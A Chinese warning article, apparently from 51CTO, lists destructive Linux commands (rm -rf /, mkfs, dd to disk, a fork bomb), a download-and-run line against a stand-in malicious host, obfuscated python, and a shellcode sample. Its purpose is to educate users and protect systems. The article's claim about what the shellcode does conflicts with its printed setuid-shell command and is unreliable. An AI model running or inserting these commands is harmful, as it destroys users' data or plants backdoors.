千万千万不要运行的Linux命令

文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,除非你是在虚拟机上运行(出现问题你可以还原),因为它们会实实在在的破坏你的系统。所以不在root等高级管理权限下执行命令是很好的习惯。

早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在Linux给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭 都来不及。

这并不是说明 Linux 不安全,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。

下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。


  1. sudo rm -rf / 删除根分区全部的文件 
  2. sudo rm -rf . 删除当前目录下的所有文件 
  3. sudo rm -rf * 同上 
  4. rm -rf * or rm -rf *.* 同上 
  5. rm -rf ~ / & 删除根分区和家目录,即使你不是root,家目录还是不能幸免。 

同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:


  1. sudo mkfs.xxxx 

dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。


  1. sudo dd if=/dev/zero of=/dev/sda 全部硬盘清零。 
  2.  
  3. sudo dd if=/dev/sda of=/dev/sdb 用第一块硬盘的内容覆盖第二块的内容。 
  4.  
  5. sudo dd if=something of=/dev/sda 往硬盘上写垃圾数据。 

同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:


  1. any_command > /dev/sda 用随意的数据破坏硬盘 

上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。

fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:


  1. :(){:|:&};: 

这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:


  1. fork while fork 

有的时候,压缩包也是一个破坏来源~

有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。

有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。

从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:


  1. wget [url]http://some_place/some_file[/url] 
  2.  
  3. sh ./some_file 
  4.  
  5. wget [url]http://hax018r.org/malicious-script[/url] 
  6.  
  7. sh ./malicious-script 

载脚本要确保来源正规,如果有能力,可以阅读其代码。即使有源代码的程序,也不要随便编译执行:


  1. char esp[] __attribute__ ((section(".text"))) /* e.s.p 
  2.  
  3. release */ 
  4.  
  5. = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68" 
  6.  
  7. "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99" 
  8.  
  9. "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7" 
  10.  
  11. "x56x04xf7x56x08xf7x56x0cx83xc4x74x56" 
  12.  
  13. "x8dx73x08x56x53x54x59xb0x0bxcdx80x31" 
  14.  
  15. "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69" 
  16.  
  17. "x6ex2fx73x68x00x2dx63x00" 
  18.  
  19. "cp -p /bin/sh /tmp/.beyond; chmod 4755 
  20.  
  21. /tmp/.beyond;"; 

上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是“rm -rf ~ / & ”。

python 一类的脚本语言,同样可以拿来搞破坏:


  1. python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))' 

这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf * 每个字母的下一个!

那么我们如何避免运行恶意程序呢?

第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。

第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。

第三要保证软件、脚本的来源正规。

最后一点,虽然比较消极,但是确实十分重要的一点:

经常备份你的数据!! 

本文作者:佚名

来源:51CTO

时间: 2024-09-26 09:47:35

千万千万不要运行的Linux命令的相关文章

千万千万不要运行的 Linux 命令

文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,除非你是在虚拟机上运行(出现问题你可以还原),因为它们会实实在在的破坏你的系统.所以不在root等高级管理权限下执行命令是很好的习惯. 早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在 Linux 给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭 都来不及. 这并不是

python脚本内运行linux命令的方法

  本文实例讲述了python脚本内运行linux命令的方法.分享给大家供大家参考.具体实现方法如下: ? 1 2 3 4 5 6 7 8 9 #/usr/bin/env python import subprocess class RunCmd(object): def cmd_run(self, cmd): self.cmd = cmd subprocess.call(self.cmd, shell=True) #Sample usage a = RunCmd() a.cmd_run('ls

如何在后台运行Linux命令并且将进程脱离终端

在本指南中,我们将会阐明一个在 Linux 系统中进程管理的简单但是重要的概念,那就是如何从它的控制终端完全脱离一个进程. 当一个进程与终端关联在一起时,可能会出现两种问题: 你的控制终端充满了很多输出数据或者错误及诊断信息 如果发生终端关闭的情况,进程连同它的子进程都将会终止 为了解决上面两个问题,你需要从一个控制终端完全脱离一个进程.在我们实际上解决这个问题之前,让我们先简要的介绍一下,如何在后台运行一个进程. 如何在后台开始一个 Linux 进程或者命令行 如果一个进程已经运行,例如下面的

如何在后台运行 Linux 命令并且将进程脱离终端

在本指南中,我们将会阐明一个在 Linux 系统中进程管理的简单但是重要的概念,那就是如何从它的控制终端完全脱离一个进程. 当一个进程与终端关联在一起时,可能会出现两种问题: 你的控制终端充满了很多输出数据或者错误及诊断信息 如果发生终端关闭的情况,进程连同它的子进程都将会终止 为了解决上面两个问题,你需要从一个控制终端完全脱离一个进程.在我们实际上解决这个问题之前,让我们先简要的介绍一下,如何在后台运行一个进程. 如何在后台开始一个 Linux 进程或者命令行 如果一个进程已经运行,例如下面的

如何通过Linux命令行使用和运行PHP脚本_php实例

下面通过图文并茂的方式给大家分享下通过Linux命令使用和运行PHP脚本. PHP是一个开源服务器端脚本语言,最初这三个字母代表的是"Personal Home Page",而现在则代表的是"PHP:Hypertext Preprocessor",它是个递归首字母缩写.它是一个跨平台脚本语言,深受C.C++和Java的影响. 在 Linux 命令行中运行 PHP 代码 PHP的语法和C.Java以及带有一些PHP特性的Perl变成语言中的语法十分相似,它当下大约正被

一个可以显示Linux命令运行进度的伟大工具

一个可以显示Linux命令运行进度的伟大工具 Coreutils Viewer(cv)是一个简单的程序,它可以用于显示任何核心组件命令(如:cp.mv.dd.tar.gzip.gunzip.cat.grep.fgrep.egrep.cut.sort.xz.exiting)的进度.它使用文件描述信息来确定一个命令的进度,比如cp命令.cv之美在于,它能够和其它Linux命令一起使用,比如你所知道的watch以及I/O重定向命令.这样,你就可以在脚本中使用,或者你能想到的所有方式,别让你的想象力束缚

【OS】Linux命令如何放到后台运行

[OS]Linux命令如何放到后台运行 linux命令后台运行    有两种方式:    1. command & : 后台运行,你关掉终端会停止运行    2. nohup command & : 后台运行,你关掉终端也会继续运行     一. 简介      Linux/Unix 区别于微软平台最大的优点就是真正的多用户,多任务.因此在任务管理上也有别具特色的管理思想. 我们知道,在 Windows 上面,我们要么让一个程序作为服务在后台一直运行,要么停止这个服务.而不能让程序在前台后

linux命令大全之crontab命令使用详解

  at 命令是针对仅运行一次的任务,循环运行的例行性计划任务,linux系统则是由 cron (crond) 这个系统服务来控制的.Linux 系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的.另外, 由于使用者自己也可以设置计划任务,所以, Linux 系统也提供了使用者控制计划任务的命令 :crontab 命令. 一.crond简介crond是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会

在Linux命令行下令人惊叹的惊叹号(!)

'!'符号在Linux中不但可以用作否定符号,还可以用来从历史命令记录中取出命令或不加修改的执行之前运行的命令.下面的所有命令都已经在Bash Shell中经过确切地检验.尽管我没有试过,但大多都不能在别的Shell中运行.这里我们介绍下Linux命令行中符号'!'那惊人和奇妙的用法. 1. 使用数字从历史命令列表中找一条命令来执行 您也许没有意识到您可以从历史命令列表(之前已经执行的命令集)中找出一条来运行.首先,通过"history"命令查找之前命令的序号. $ history 使